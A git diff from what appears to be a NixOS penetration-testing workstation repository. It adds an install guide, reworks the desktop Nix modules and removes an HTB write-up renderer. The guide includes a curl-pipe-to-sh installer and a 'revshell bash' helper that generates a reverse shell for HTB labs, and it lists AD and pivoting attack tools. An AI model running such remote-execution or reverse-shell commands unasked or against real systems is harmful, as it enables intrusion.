+ <rect x="0" y="102" width="40" height="22" fill="url(#halftone)"/>
+ <rect x="230" y="102" width="40" height="22" fill="url(#halftone)"/>
+ </g>
+ <!-- Col 2 -->
+ <g transform="translate(430,288)">
+ <rect x="0" y="0" width="40" height="22" fill="url(#halftone)"/>
+ <rect x="230" y="0" width="40" height="22" fill="url(#halftone)"/>
+ <text x="135" y="18" text-anchor="middle">user · host</text>
+ <rect x="0" y="34" width="40" height="22" fill="url(#halftone)"/>
+ <rect x="230" y="34" width="40" height="22" fill="url(#halftone)"/>
+ <text x="135" y="52" text-anchor="middle">vm · desktop</text>
+ <rect x="0" y="68" width="40" height="22" fill="url(#halftone)"/>
+ <rect x="230" y="68" width="40" height="22" fill="url(#halftone)"/>
+ <text x="135" y="86" text-anchor="middle">categories</text>
+ <rect x="0" y="102" width="40" height="22" fill="url(#halftone)"/>
+ <rect x="230" y="102" width="40" height="22" fill="url(#halftone)"/>
+ <text x="135" y="120" text-anchor="middle">one file</text>
+ </g>
+ <!-- Col 3 -->
+ <g transform="translate(800,288)">
+ <rect x="0" y="0" width="40" height="22" fill="url(#halftone)"/>
+ <rect x="230" y="0" width="40" height="22" fill="url(#halftone)"/>
+ <text x="135" y="18" text-anchor="middle">atomic</text>
+ <rect x="0" y="34" width="40" height="22" fill="url(#halftone)"/>
+ <rect x="230" y="34" width="40" height="22" fill="url(#halftone)"/>
+ <text x="135" y="52" text-anchor="middle">generation</text>
+ <rect x="0" y="68" width="40" height="22" fill="url(#halftone)"/>
+ <rect x="230" y="68" width="40" height="22" fill="url(#halftone)"/>
+ <text x="135" y="86" text-anchor="middle">rollback</text>
+ <rect x="0" y="102" width="40" height="22" fill="url(#halftone)"/>
+ <rect x="230" y="102" width="40" height="22" fill="url(#halftone)"/>
+ <text x="135" y="120" text-anchor="middle">nh os switch</text>
+ </g>
+ <!-- Col 4 -->
+ <g transform="translate(1170,288)">
+ <rect x="0" y="0" width="40" height="22" fill="url(#halftone)"/>
+ <rect x="230" y="0" width="40" height="22" fill="url(#halftone)"/>
+ <text x="135" y="18" text-anchor="middle">rose-pine</text>
+ <rect x="0" y="34" width="40" height="22" fill="url(#halftone)"/>
+ <rect x="230" y="34" width="40" height="22" fill="url(#halftone)"/>
+ <text x="135" y="52" text-anchor="middle">+ starship</text>
+ <rect x="0" y="68" width="40" height="22" fill="url(#halftone)"/>
+ <rect x="230" y="68" width="40" height="22" fill="url(#halftone)"/>
+ <text x="135" y="86" text-anchor="middle">+ niri</text>
+ <rect x="0" y="102" width="40" height="22" fill="url(#halftone)"/>
+ <rect x="230" y="102" width="40" height="22" fill="url(#halftone)"/>
+ <text x="135" y="120" text-anchor="middle">+ htbvpn</text>
+ </g>
+ </g>
+</svg>
diff --git a/docs/install.md b/docs/install.md
@@ -0,0 +1,357 @@
+<div align="center">
+ <img src="images/headers/03-installation.png" width="800" alt="[02] INSTALLATION — ANY MACHINE"/>
+</div>
+
+# Installing NixDaemon
+
+NixDaemon installs as the **generic host** (`nixosConfigurations.nixdaemon`,
+`modules/hosts/generic/`). It works on a PC, a laptop or a virtual machine,
+Intel/AMD or ARM, UEFI or legacy BIOS. You change **two files** and nothing
+else:
+
+| File | What goes in it |
+|---|---|
+| `modules/hosts/generic/_settings.nix` | user name, hostname, CPU architecture, boot mode, hypervisor, desktop, which toolkit categories |
+| `modules/hosts/generic/_hardware-configuration.nix` | your disks and kernel modules, generated by `nixos-generate-config` |
+
+> `modules/hosts/laptop/` is the author's own machine. It needs his secrets
+> and private dotfiles and **will not build for you** — ignore it.
+
+**Contents**
+
+1. [Requirements](#1-requirements)
+2. [Pick your path](#2-pick-your-path)
+3. [Path A — fresh install (bare metal or VM)](#3-path-a--fresh-install-bare-metal-or-vm)
+4. [Path B — you already run NixOS](#4-path-b--you-already-run-nixos)
+5. [Path C — just the tools (any Linux, WSL)](#5-path-c--just-the-tools-any-linux-wsl)
+6. [Hypervisor notes](#6-hypervisor-notes)
+7. [First boot](#7-first-boot)
+8. [Updating, rolling back, more machines](#8-updating-rolling-back-more-machines)
+9. [When something goes wrong](#9-when-something-goes-wrong)
+
+---
+
+## 1. Requirements
+
+| | Minimum | Comfortable |
+|---|---|---|
+| CPU | x86_64 or aarch64, 2 cores | 4+ cores |
+| RAM | 4 GB (install with `--max-jobs 1`) | 8–16 GB (BloodHound wants 4 GB on its own) |
+| Disk | 60 GB | 100 GB+ (old generations, wordlists, VMs) |
+| Network | needed for the whole install | wired or a stable Wi-Fi |
+
+The installed system is about **23 GB**, of which ~10 GB is downloaded
+pre-built from cache.nixos.org. Some things are compiled on your machine:
+the Python 3.12 AD tooling (impacket, certipy, lsassy …), the
+ligolo-ng/chisel/fscan/pspy agents cross-built for every OS and CPU, and a
+few editor plugins. Expect a first install to take **30–90 minutes**
+depending on CPU and bandwidth.
+
+**Architecture support.** Everything works on x86_64. On aarch64 (Apple
+Silicon VMs, ARM servers) BloodHound CE is switched off automatically (its
+pinned neo4j is x86_64-only) and the `mobile` category cannot be enabled.
+
+---
+
+## 2. Pick your path
+
+```text
+Do you already run NixOS on this machine?
+├── yes ─────────────────────────────────────────────▶ Path B
+└── no
+ ├── want a full NixDaemon machine (PC or VM) ────▶ Path A
+ └── want only the tools on your current Linux ───▶ Path C
+```
+
+---
+
+## 3. Path A — fresh install (bare metal or VM)
+
+### 3.1 Get the installer
+
+Download the **minimal ISO** from <https://nixos.org/download/#nixos-iso>:
+`x86_64` for Intel/AMD, `aarch64` for ARM (Apple Silicon with UTM/Parallels/
+VMware Fusion, ARM servers). Write it to a USB stick (`dd`, Ventoy, Rufus,
+balenaEtcher) or attach it to your VM — see [Hypervisor notes](#6-hypervisor-notes)
+first if you are in one.
+
+Boot it. On real hardware, **turn Secure Boot off** in the firmware setup;
+NixOS does not sign its bootloader by default.
+
+### 3.2 Get online
+
+```sh
+sudo -i # everything below runs as root
+ping -c1 nixos.org # wired / VM networking: usually already up
+nmtui # Wi-Fi: pick the network, enter the password
+```
+
+### 3.3 Check how the machine booted
+
+```sh
+[ -d /sys/firmware/efi ] && echo UEFI || echo BIOS
+lsblk # find your disk: /dev/nvme0n1, /dev/sda, /dev/vda …
+DISK=/dev/sda # ← set this to YOUR disk. Everything on it is erased.
+```
+
+### 3.4 Partition, format, mount
+
+The labels (`nixos`, `boot`) matter: the placeholder hardware file finds the
+partitions by them.
+
+**UEFI** (most PCs since 2012, VMware, Hyper-V Gen 2, UTM, QEMU with OVMF):
+
+```sh
+parted "$DISK" -- mklabel gpt
+parted "$DISK" -- mkpart ESP fat32 1MiB 1GiB
+parted "$DISK" -- set 1 esp on
+parted "$DISK" -- mkpart root ext4 1GiB 100%
+
+# partition names: /dev/sda1 /dev/sda2, but /dev/nvme0n1p1 /dev/nvme0n1p2
+P1=${DISK}1; P2=${DISK}2; case "$DISK" in *nvme*|*mmcblk*) P1=${DISK}p1; P2=${DISK}p2;; esac
+
+mkfs.fat -F 32 -n boot "$P1"
+mkfs.ext4 -L nixos "$P2"
+mount /dev/disk/by-label/nixos /mnt
+mkdir -p /mnt/boot
+mount -o umask=077 /dev/disk/by-label/boot /mnt/boot
+```
+
+**BIOS** (old PCs; VirtualBox unless *Enable EFI* is ticked):
+
+```sh
+parted "$DISK" -- mklabel msdos
+parted "$DISK" -- mkpart primary ext4 1MiB 100%
+mkfs.ext4 -L nixos "${DISK}1"
+mount /dev/disk/by-label/nixos /mnt
+```
+
+Want swap? After install, a swap file is one line in `_hardware-configuration.nix`:
+`swapDevices = [ { device = "/var/lib/swapfile"; size = 8192; } ];`.
+Want full-disk encryption, btrfs or ZFS? Partition your way (the
+[NixOS manual](https://nixos.org/manual/nixos/stable/#sec-installation-manual-partitioning)
+has the recipes); just make sure to generate the hardware file in step 3.6.
+
+### 3.5 Get NixDaemon
+
+Pick your user name now — it must match `user` in `_settings.nix` (step 3.6).
+
+```sh
+U=operator # ← your user name
+nix-shell -p git # git is not on the ISO
+git clone https://gitlab.com/DAEMON-404/NixDaemon.git /mnt/home/$U/NixDaemon
+cd /mnt/home/$U/NixDaemon
+```
+
+### 3.6 Configure
+
+```sh
+nano modules/hosts/generic/_settings.nix
+```
+
+Set at least `user` (same as `$U`), `system`, `boot` (and `biosDevice` for
+BIOS), `vm`, `desktop` and `timeZone`. Every option is explained in the file.
+
+Then generate the hardware file **into the repo**:
+
+```sh
+nixos-generate-config --root /mnt --show-hardware-configuration \
+ > modules/hosts/generic/_hardware-configuration.nix
+```
+
+(Skipping this works only if you partitioned exactly as in 3.4 — the
+placeholder assumes those labels. Generating it is always the safer choice.)
+
+> **Flakes only see files git knows about.** Editing the two files above is
+> fine (they are already tracked). If you ever *add* a file, `git add` it
+> before building, or Nix will say it does not exist.
+
+### 3.7 Install
+
+```sh
+nixos-install --flake .#nixdaemon
+# low RAM (≤ 4 GB)? nixos-install --flake .#nixdaemon --max-jobs 1 --cores 2
+```
+
+It asks for a **root password** at the end. Then:
+
+```sh
+reboot # remove the ISO / USB when the machine powers off
+```
+
+Continue with [First boot](#7-first-boot).
+
+---
+
+## 4. Path B — you already run NixOS
+
+```sh
+git clone https://gitlab.com/DAEMON-404/NixDaemon.git ~/NixDaemon
+cd ~/NixDaemon
+cp /etc/nixos/hardware-configuration.nix modules/hosts/generic/_hardware-configuration.nix
+nano modules/hosts/generic/_settings.nix
+```
+
+In `_settings.nix`, make these **match your current system** or it may not
+boot:
+
+- `user` — your existing user name (your files are kept; the account is
+ re-declared by NixDaemon, so groups and shell follow `_settings.nix`).
+- `boot` — `"efi"` if `/sys/firmware/efi` exists (this switches you to
+ systemd-boot), else `"bios"` with `biosDevice` set to the disk GRUB is on now.
+- `hostName`, `timeZone`, `keyboard`.
+
+Build first, switch on the next boot (safest):
+
+```sh
+sudo nixos-rebuild boot --flake .#nixdaemon
+sudo reboot
+```
+
+Your old configuration stays in the boot menu as an earlier generation, so
+you can always go back. `/etc/nixos` is no longer used.
+
+---
+
+## 5. Path C — just the tools (any Linux, WSL)
+
+No NixOS needed: install Nix, then open a shell with the whole toolkit on
+`PATH`. Nothing is installed system-wide, and leaving the shell leaves no
+trace.
+
+```sh
+# 1. Nix (Linux, WSL2). Determinate's installer enables flakes for you:
+curl -fsSL https://install.determinate.systems/nix | sh -s -- install
+
+# 2. the toolkit (x86_64-linux):
+nix develop gitlab:DAEMON-404/NixDaemon#pentest # everything
+nix develop gitlab:DAEMON-404/NixDaemon#pentest-recon # one category: -ad -web -crack -pivot …
+```
+
+Limits: the dev shell has the **tools**, not the machine. `htbvpn`, `htbtarget`
+(`/etc/hosts`), the `~/pentesting` arsenal and `sudo nmap` need the NixOS
+install. On aarch64 Linux the per-category shells mostly work, the full
+`#pentest` shell does not (some tools are x86_64-only). macOS is not
+supported — use a VM ([UTM](https://mac.getutm.app/) + Path A).
+
+**WSL**: Path C works in WSL2. A full NixDaemon *inside* WSL is not supported
+(no systemd units for the VPN, no desktop); use Hyper-V or VMware instead.
+
+---
+
+## 6. Hypervisor notes
+
+Set `vm` in `_settings.nix` to install the matching guest tools (shared
+clipboard, automatic resolution, time sync). Give the VM **8 GB RAM, 4 CPUs,
+100 GB disk** if you can.
+
+| Hypervisor | `vm =` | Firmware → `boot =` | Graphics → `desktop =` |
+|---|---|---|---|
+| **VMware** Workstation / Fusion (x86) | `"vmware"` | set *UEFI* in VM options → `"efi"` | enable *Accelerate 3D graphics* → `"niri"` |
+| **VMware Fusion** on Apple Silicon | `"vmware"` | UEFI → `"efi"`, `system = "aarch64-linux"` | 3D on → `"niri"`, else `"xfce"` |
+| **VirtualBox** | `"virtualbox"` | default is BIOS → `"bios"` (`biosDevice = "/dev/sda"`); or tick *Enable EFI* → `"efi"` | VirtualBox's 3D is unreliable → `"xfce"` |
+| **QEMU / KVM / virt-manager** | `"qemu"` | OVMF (UEFI) → `"efi"`, SeaBIOS → `"bios"` | *Virtio* video with *3D acceleration* + Spice *OpenGL* → `"niri"`; otherwise `"xfce"` |
+| **Proxmox** | `"qemu"` | OVMF → `"efi"` | no host GPU → `"xfce"`, or `"none"` + SSH |
+| **UTM** (Apple Silicon) | `"qemu"` | UEFI → `"efi"`, `system = "aarch64-linux"` | *virtio-gpu-gl-pci* → `"niri"`, else `"xfce"` |
+| **Parallels** (Apple Silicon) | `"none"` | UEFI → `"efi"`, `system = "aarch64-linux"` | `"xfce"` |
+| **Hyper-V** | `"hyperv"` | Generation 2, **Secure Boot off** → `"efi"` | no 3D → `"xfce"` |
+| **Cloud / headless server** | `"qemu"` or `"none"` | provider's default | `"none"`, `ssh = true` + your key |
+
+**Niri needs working 3D.** If you log in and get a black screen or are
+thrown back to the greeter, the VM has no usable OpenGL: switch to
+`desktop = "xfce"` (see [§9](#9-when-something-goes-wrong)).
+
+**Disk device names differ**: VirtIO disks are `/dev/vda`, SATA/SCSI are
+`/dev/sda`, NVMe is `/dev/nvme0n1`. Check with `lsblk` before partitioning,
+and use the right one for `biosDevice`.
+
+---
+
+## 7. First boot
+
+1. Log in as your `user` with the `initialPassword` from `_settings.nix`
+ (default `nixdaemon`), then **change it at once**:
+
+ ```sh
+ passwd
+ ```
+
+2. Fix ownership of the checkout (it was cloned as root in Path A):
+
+ ```sh
+ sudo chown -R "$USER":users ~/NixDaemon
+ ```
+
+3. Find your way around:
+
+ ```sh
+ pentest-cheat # the toolkit card: htb workflow, recon, AD, pivot, crack, web …
+ niri-cheat # the desktop's keys (Super+Return terminal, Super+Space launcher)
+ htbpaths # the ~/pentesting arsenal and its $variables
+ ```
+
+4. HTB / lab VPN: put your `.ovpn` file(s) in `~/.config/htb/vpn/`, then
+ `htbup` (or `htbvpn up <name>`). `htbip` prints your tunnel address.
+
+5. Start a box:
+
+ ```sh
+ htbbox new Sauna 10.10.10.175 windows easy # directory, box.json, $TARGET, /etc/hosts
+ htbscan full # nmap → recon/, ports into box.json
+ revshell bash # a reverse shell for your tunnel IP
+ ```
+
+---
+
+## 8. Updating, rolling back, more machines
+
+```sh
+cd ~/NixDaemon
+nh os switch -H nixdaemon # rebuild after editing _settings.nix (shows a diff, asks for sudo)
+nix flake update && nh os switch -H nixdaemon # update every input (nixpkgs etc.)
+git pull && nh os switch -H nixdaemon # take upstream NixDaemon changes
+```
+
+If you kept `hostName = "nixdaemon"`, plain `nh os switch` works without `-H`.
+The plain-Nix equivalent of all of these is
+`sudo nixos-rebuild switch --flake ~/NixDaemon#nixdaemon`.
+
+**Rolling back**: every rebuild is a new generation. Pick an older one in the
+boot menu, or `sudo nixos-rebuild switch --rollback`.
+
+**More than one machine** from one checkout: in your fork, add a file such as
+`modules/hosts/mine.nix`:
+
+```nix
+{ self, ... }:
+{
+ flake.nixosConfigurations.vm = self.lib.mkHost (
+ import ./generic/_settings.nix // {
+ hostName = "vm";
+ vm = "qemu";
+ hardware = ./_vm-hardware.nix; # that machine's nixos-generate-config output
+ }
+ );
+}
+```
+
+then `git add` both files and install it with `--flake .#vm`.
+
+---
+
+## 9. When something goes wrong
+
+| Symptom | Fix |
+|---|---|
+| `error: … does not provide attribute … nixdaemon` or "path does not exist" | A new file is not tracked: `git add -A`, build again. |
+| `Failed assertions: _settings.nix: …` | A value in `_settings.nix` is misspelled; the message names it. |
+| Black screen / back at the greeter after choosing Niri | No 3D in the VM. Set `desktop = "xfce"`, then from a text console (Ctrl+Alt+F2) run `sudo nixos-rebuild switch --flake ~/NixDaemon#nixdaemon`. |
+| Machine does not boot after install | Wrong `boot` mode, or BIOS `biosDevice` pointing at the wrong disk. Boot the ISO, mount (3.4), fix `_settings.nix`, run `nixos-install` again. |
+| `No space left on device` during install | The disk is too small (60 GB minimum), or the target is not mounted at `/mnt`. |
+| Install killed / machine freezes while building | Out of RAM: `--max-jobs 1 --cores 2`, or give the VM more memory. |
+| `hash mismatch` fetching a payload | Upstream replaced a release file. Run `pentest-update` (re-pins), or turn that category off for now. |
+| Clock-skew errors from Kerberos tools | `htbtime` syncs your clock to the target's DC (and restores it after). |
+| You want the previous system back | Choose an older generation in the boot menu, or `sudo nixos-rebuild switch --rollback`. |
+
+Still stuck? `nix flake check` runs every category's smoke test and the VM
+tests, and usually names the broken piece.
diff --git a/docs/superpowers/specs/2026-10-08-dendritic-niri-noctalia-design.md b/docs/superpowers/specs/2026-10-08-dendritic-niri-noctalia-design.md
@@ -202,7 +202,7 @@ Settings (only the keys that differ from Noctalia's defaults):
- `general = { lockOnSuspend = true; }`
- `ui = { fontDefault = "Noto Sans"; fontFixed = "DMMono Nerd Font"; }`
- `wallpaper = { enabled = true; directory = "<the rose-pine-dark wallpaper dir already used by Caelestia>"; fillMode = "crop"; }`
-- `location = { name = "Douglas, Isle of Man"; useFahrenheit = false; use12hourFormat = false; }` (same weather spot as Caelestia)
+- `location = { name = "<town>"; useFahrenheit = false; use12hourFormat = false; }` (same weather spot as Caelestia)
- `appLauncher = { terminalCommand = "kitty -e"; }`
- `idle = { enabled = true; lockTimeout = 600; }`: Noctalia's own lock screen after ten idle minutes.
diff --git a/flake.lock b/flake.lock
@@ -720,11 +720,11 @@
"treefmt-nix": "treefmt-nix"
},
"locked": {
- "lastModified": 1791487008,
- "narHash": "sha256-kK524lQwI39UzmWzsVpHgR7MSwH8epczqI9my520j5I=",
+ "lastModified": 1791522838,
+ "narHash": "sha256-Q6VbwYvayJgN/7x4jI7KnSkd5NGyUwfUw57Dho4jJAE=",
"owner": "numtide",
"repo": "llm-agents.nix",
- "rev": "55edaf7545200fc5355b0b82b86b2d5d7eb1b36b",
+ "rev": "4bb57cff45b5554a02dba0cf7a8c7f4f010a864d",
"type": "github"
},
"original": {
@@ -1096,11 +1096,11 @@
]
},
"locked": {
- "lastModified": 1791203292,
- "narHash": "sha256-vuzVwvjeucSnwKwMBpyP8r5IzdrMKCHEdwTrRFwUN7I=",
+ "lastModified": 1791490544,
+ "narHash": "sha256-qScE7Wz6Zg7eg8ItUpnkmKgst8weWschGe0E8jM4rj4=",
"owner": "numtide",
"repo": "treefmt-nix",
- "rev": "03d8ee1bcbc8f9638907bb79edb9673151d0e22b",
+ "rev": "4cfe8d7065cc8ca91c0a50361b6dd74920eeb1f5",
"type": "github"
},
"original": {
diff --git a/modules/features/desktop/niri.nix b/modules/features/desktop/niri.nix
@@ -15,7 +15,6 @@
perSystem =
{ pkgs, lib, self', ... }:
let
- noctalia = lib.getExe self'.packages.noctalia;
kitty = lib.getExe pkgs.kitty;
zen = lib.getExe' inputs.zen-browser.packages.${pkgs.stdenv.hostPlatform.system}.default "zen-beta"; # default browser (modules/home/zen.nix)
nautilus = lib.getExe pkgs.nautilus;
@@ -26,7 +25,6 @@
wpctl = "${pkgs.wireplumber}/bin/wpctl";
brightnessctl = lib.getExe pkgs.brightnessctl;
playerctl = lib.getExe pkgs.playerctl;
- ipc = target: "${noctalia} ipc call ${target}";
# a bind that also works on the lock screen (volume, brightness, media)
locked = cmd: _: {
@@ -42,31 +40,24 @@
"Mod+${toString n}".focus-workspace = n;
"Mod+Shift+${toString n}".move-column-to-workspace = n;
}) { } (lib.range 1 9);
- in
- {
- # Gradia, the screenshot editor the Print binds open, with its Censor tool
- # replaced by a secure blur (_gradia-secure-blur.patch). Upstream
- # pixelates in fixed 8 px blocks with the size slider greyed out, which
- # leaves large text readable. Patched, the slider sets the strength: the
- # area is averaged into cells 4× the slider value (12–100 px, 56 by
- # default), each cell gets random brightness noise so depixelation tools
- # can't match the true averages, and it is scaled back up smoothly.
- # Still not zero-leak: for secrets, a filled rectangle is the safe choice.
- # Shared with home-manager (modules/home/session.nix) so the launcher
- # entry runs the same build.
- packages.gradia = pkgs.gradia.overrideAttrs (old: {
- patches = (old.patches or [ ]) ++ [ ./_gradia-secure-blur.patch ];
- });
- packages.niri = inputs.wrapper-modules.wrappers.niri.wrap {
- inherit pkgs;
+ # One niri, parameterised by the Noctalia it starts and the keyboard.
+ mkNiri =
+ {
+ noctaliaPkg,
+ xkb ? { layout = "us"; },
+ }:
+ let
+ noctalia = lib.getExe noctaliaPkg;
+ ipc = target: "${noctalia} ipc call ${target}";
+ in
+ inputs.wrapper-modules.wrappers.niri.wrap {
+ inherit pkgs;
+
settings = {
input = {
keyboard = {
- xkb = {
- layout = "us";
- options = "compose:caps,shift:both_capslock_cancel"; # as services.xserver.xkb
- };
+ inherit xkb;
};
touchpad = {
tap = _: { };
@@ -198,7 +189,36 @@
"Mod+Shift+E".quit = _: { }; # niri asks for confirmation
} // workspaceBinds;
};
+ };
+ in
+ {
+ # Gradia, the screenshot editor the Print binds open, with its Censor tool
+ # replaced by a secure blur (_gradia-secure-blur.patch). Upstream
+ # pixelates in fixed 8 px blocks with the size slider greyed out, which
+ # leaves large text readable. Patched, the slider sets the strength: the
+ # area is averaged into cells 4× the slider value (12–100 px, 56 by
+ # default), each cell gets random brightness noise so depixelation tools
+ # can't match the true averages, and it is scaled back up smoothly.
+ # Still not zero-leak: for secrets, a filled rectangle is the safe choice.
+ # Shared with home-manager (modules/home/session.nix) so the launcher
+ # entry runs the same build.
+ packages.gradia = pkgs.gradia.overrideAttrs (old: {
+ patches = (old.patches or [ ]) ++ [ ./_gradia-secure-blur.patch ];
+ });
+
+ # packages.niri is what anyone running the flake gets (US layout, the
+ # neutral Noctalia); packages.niri-daemon is the author's (his keyboard
+ # options, packages.noctalia-daemon). The generic host builds its own
+ # with its keyboard layout through legacyPackages.mkNiri.
+ packages.niri = mkNiri { noctaliaPkg = self'.packages.noctalia; };
+ packages.niri-daemon = mkNiri {
+ noctaliaPkg = self'.packages.noctalia-daemon;
+ xkb = {
+ layout = "us";
+ options = "compose:caps,shift:both_capslock_cancel"; # as services.xserver.xkb
+ };
};
+ legacyPackages.mkNiri = mkNiri;
};
flake.nixosModules.desktop-niri =
@@ -209,7 +229,7 @@
# GNOME portal Niri documents; the package is the wrapped one above.
programs.niri = {
enable = true;
- package = self.packages.${pkgs.stdenv.hostPlatform.system}.niri;
+ package = config.daemon.desktop.niri.package;
};
# Noctalia's battery widget reads UPower (nixpkgs' module leaves it off).
services.upower.enable = true;
diff --git a/modules/features/desktop/noctalia.nix b/modules/features/desktop/noctalia.nix
@@ -14,11 +14,13 @@
{ inputs, ... }:
{
perSystem =
- { pkgs, ... }:
- {
- packages.noctalia = inputs.wrapper-modules.wrappers.noctalia-shell.wrap {
+ { pkgs, lib, ... }:
+ let
+ identity = import ../../hosts/laptop/_identity.nix;
+ mkNoctalia = overrides: inputs.wrapper-modules.wrappers.noctalia-shell.wrap {
inherit pkgs;
- settings = {
+ settings = lib.recursiveUpdate {
+
# Noctalia's current settings schema (Commons/Settings.qml). Without
# it every migration since v0 runs at start, one of them against
# ~/.config/noctalia. Bump it when noctalia-shell is updated
@@ -66,20 +68,15 @@
lockOnSuspend = true;
telemetryEnabled = false;
};
- ui = {
- fontDefault = "Noto Sans";
- fontFixed = "DMMono Nerd Font";
- };
+ ui.fontDefault = "Noto Sans"; # fontFixed: Noctalia's default, or the -daemon font
wallpaper = {
enabled = true;
# the same Rosé Pine wallpapers Caelestia uses (modules/home/caelestia.nix):
# three sets in subfolders, so the picker searches recursively
- directory = "/home/daemonsec/Pictures/Wallpapers";
viewMode = "recursive";
fillMode = "crop";
};
location = {
- name = "Douglas, Isle of Man"; # dashboard weather, as in Caelestia
useFahrenheit = false;
use12hourFormat = false;
};
@@ -93,7 +90,19 @@
screenOffTimeout = 1200; # as the Hyprland side (20 min)
suspendTimeout = 0; # never: Noctalia's default is 30 min, and NVIDIA suspend is untested here (nvidia.nix)
};
- };
+ } overrides;
+ };
+ in
+ {
+ # The shared settings. packages.noctalia is these as they stand (what
+ # anyone running the flake gets); packages.noctalia-daemon layers the
+ # author's location, wallpaper directory and font on top
+ # (modules/hosts/laptop/_identity.nix).
+ packages.noctalia = mkNoctalia { };
+ packages.noctalia-daemon = mkNoctalia {
+ location.name = identity.weather.name; # dashboard weather, as in Caelestia
+ wallpaper.directory = "/home/daemonsec/Pictures/Wallpapers";
+ ui.fontFixed = "DMMono Nerd Font";
};
};
}
diff --git a/modules/features/desktop/options.nix b/modules/features/desktop/options.nix
@@ -8,14 +8,23 @@
# daemon.desktop.niri.enable Niri + Noctalia Shell
#
# Home-manager modules read the same switches through `osConfig`.
-{ ... }:
+{ self, ... }:
{
flake.nixosModules.desktop-options =
- { lib, config, ... }:
+ { lib, config, pkgs, ... }:
{
options.daemon.desktop = {
hyprland.enable = lib.mkEnableOption "Hyprland with Caelestia Shell" // { default = true; };
niri.enable = lib.mkEnableOption "Niri with Noctalia Shell" // { default = true; };
+ # Which wrapped niri (modules/features/desktop/niri.nix) is the session:
+ # the author's by default; the generic host passes one built for its
+ # keyboard with the neutral Noctalia.
+ niri.package = lib.mkOption {
+ type = lib.types.package;
+ default = self.packages.${pkgs.stdenv.hostPlatform.system}.niri-daemon;
+ defaultText = lib.literalExpression "self.packages.\${system}.niri-daemon";
+ description = "The wrapped niri package used as the login session.";
+ };
};
config.assertions = [
diff --git a/modules/features/home-manager.nix b/modules/features/home-manager.nix
@@ -4,7 +4,7 @@
{ self, inputs, ... }:
{
flake.nixosModules.home-manager =
- { user, ... }:
+ { user, identity, ... }:
{
imports = [ inputs.home-manager.nixosModules.home-manager ];
@@ -12,7 +12,7 @@
useGlobalPkgs = true;
useUserPackages = true;
backupFileExtension = "hm-bak";
- extraSpecialArgs = { inherit inputs user; };
+ extraSpecialArgs = { inherit inputs user identity; };
# The Hyprland and Caelestia home-manager modules only declare options;
# modules/home/{hyprland,caelestia}.nix decide whether they do anything
# (daemon.desktop.hyprland.enable).
diff --git a/modules/features/pentest/_boxrender.py b/modules/features/pentest/_boxrender.py
@@ -1,129 +0,0 @@
-"""Render a box's writeup.md and box.json. Driven by env vars from htbbox.
-
-The writeup comes from the vault's Templater template when it is reachable, so
-the vault stays the single source of truth for the post's shape. Templater is
-Obsidian-only JS, so the header block is stripped and the <% ... %> tokens it
-would have filled are substituted here. When the vault is not present (another
-machine, a fresh clone) a minimal built-in frontmatter is used instead.
-"""
-import json
-import os
-import re
-import sys
-from datetime import date
-
-name = os.environ["BOX_NAME"]
-slug = os.environ["BOX_SLUG"]
-ip = os.environ.get("BOX_IP", "")
-os_name = os.environ["BOX_OS"] # Windows | Linux | Other
-difficulty = os.environ["BOX_DIFFICULTY"]
-outdir = os.environ["BOX_DIR"]
-template = os.environ.get("BOX_TEMPLATE", "")
-today = date.today().isoformat()
-
-manifest = {
- "name": name, "slug": slug, "ip": ip, "os": os_name,
- "difficulty": difficulty, "platform": "HTB-Labs", "created": today,
-}
-with open(os.path.join(outdir, "box.json"), "w") as fh:
- json.dump(manifest, fh, indent=2)
- fh.write("\n")
-
-writeup = os.path.join(outdir, "writeup.md")
-if os.path.exists(writeup):
- print(f"kept existing {writeup}", file=sys.stderr)
- sys.exit(0)
-
-body = None
-if template and os.path.exists(template):
- body = open(template).read()
- # Drop the Templater header: <%* ... -%> (the JS that prompts in Obsidian).
- body = re.sub(r"^<%\*.*?-%>\n", "", body, count=1, flags=re.S)
- # Then the tokens that header would have filled.
- subs = {
- "<% yaml(machine) %>": json.dumps(name),
- "<% yaml(slug) %>": json.dumps(slug),
- "<% yaml(targetOS) %>": json.dumps(os_name),
- "<% yaml(difficulty) %>": json.dumps(difficulty),
- '<% tp.date.now("YYYY-MM-DD") %>': today,
- "<% targetOS %>": os_name,
- "<% difficulty %>": difficulty,
- "<% tp.file.cursor() %>": "",
- }
- for token, value in subs.items():
- body = body.replace(token, value)
- body = body.replace('ip: ""', f"ip: {json.dumps(ip)}")
- # A leftover <% ... %> means the vault template grew a token this renderer
- # does not know. Fail loudly rather than publish Templater source.
- leftover = re.findall(r"<%.*?%>", body, flags=re.S)
- if leftover:
- print(f"htbbox: template has tokens this renderer does not handle: "
- f"{leftover[:3]} -- update _boxrender.py", file=sys.stderr)
- sys.exit(1)
-
-if body is None:
- body = f"""---
-title: {json.dumps(name)}
-slug: {json.dumps(slug)}
-type: writeup
-site: daemon-sec
-category: ctf
-platform: HTB-Labs
-machine: {json.dumps(name)}
-target_os: {json.dumps(os_name)}
-difficulty: {json.dumps(difficulty)}
-author: DAEMON
-excerpt: ""
-status: active
-publish_status: draft
-creation_date: {today}
-published_at: ""
-updated_at: ""
-ip: {json.dumps(ip)}
-tools_used: []
-techniques: []
-bannerImage: ""
-tags:
- - HTB
- - HTB/Labs
-cssclasses:
- - editorial
- - note-banner
----
-
-```dataviewjs
-await dv.view("00Meta/Views/NoteBanner");
-```
-
-## Explain like I'm new
-
-## Attack path
-
-## Target details
-
-| Field | Value |
-| --- | --- |
-| IP Address | {ip} |
-| Operating system | {os_name} |
-| Difficulty | {difficulty} |
-
-## Reconnaissance
-
-## Enumeration
-
-## Initial access
-
-## Privilege escalation
-
-## Credentials and flags
-
-## Operator notes
-
-## Lessons learned
-
-## References
-"""
- print("htbbox: vault template not found, used the built-in skeleton", file=sys.stderr)
-
-with open(writeup, "w") as fh:
- fh.write(body)
diff --git a/modules/features/pentest/_completions/_htbbox b/modules/features/pentest/_completions/_htbbox
@@ -0,0 +1,54 @@
+#compdef htbbox
+# zsh completion for htbbox (modules/features/pentest/_htbbox.py)
+
+_htbbox_boxes() {
+ local -a boxes
+ boxes=( ${HTB_ROOT:-$HOME/htb}/*(N/:t) )
+ _describe -t boxes 'box' boxes
+}
+
+_htbbox() {
+ local -a cmds
+ cmds=(
+ 'new:scaffold a box (name ip os difficulty [hosts], any order)'
+ 'use:make a box current ($BOX, $TARGET, /etc/hosts)'
+ 'ls:all boxes, newest first'
+ 'info:the box card'
+ 'path:the box directory'
+ 'json:raw box.json, or one key'
+ 'set:change a field (ip os difficulty status domain name)'
+ 'host:add hostnames'
+ 'cred:add or list credentials'
+ 'flag:record the user or root flag'
+ 'note:add or list notes'
